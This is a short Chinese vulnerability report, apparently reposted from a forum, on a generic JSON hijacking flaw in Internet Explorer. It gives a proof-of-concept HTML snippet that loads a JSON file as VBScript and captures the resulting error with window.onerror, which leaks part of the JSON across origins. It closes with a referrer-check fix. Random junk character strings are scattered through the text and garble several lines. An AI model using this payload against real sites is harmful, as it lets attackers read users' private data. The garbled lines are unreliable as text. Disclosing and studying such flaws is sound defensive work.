IE通用JSON劫持漏洞

admin

简要描述：

" l, N" ]2 F7 k/ c8 P6 k由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>

. s8 x  V# v$ y- [4 {- B当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
: |, g7 t) A- e" m, v/ i* t漏洞证明：
<script>
8 S+ p, Q% A* S1 X$ j0 `( ewindow.onerror=function(_){
+ U% n+ A8 W1 _/ }! malert(_)
}
2 }" Y9 Z& d* e& w' y9 D</script>
8 P/ {' h# S+ f2 Z<script language=vbscript src=1.json></script>
. P+ j  e0 D) M& m2 M  ^

, v% m0 r7 t5 P+ z$ {" \) h$ l1.json:
6 Q1 J6 j, O: L! n6 @[{"name":"sogili","age":19}]
修复方案：
! l/ I; y8 g& u/ C$ B  w% z网站业务对于这个问题可以通过验证referrer是否为同源来防御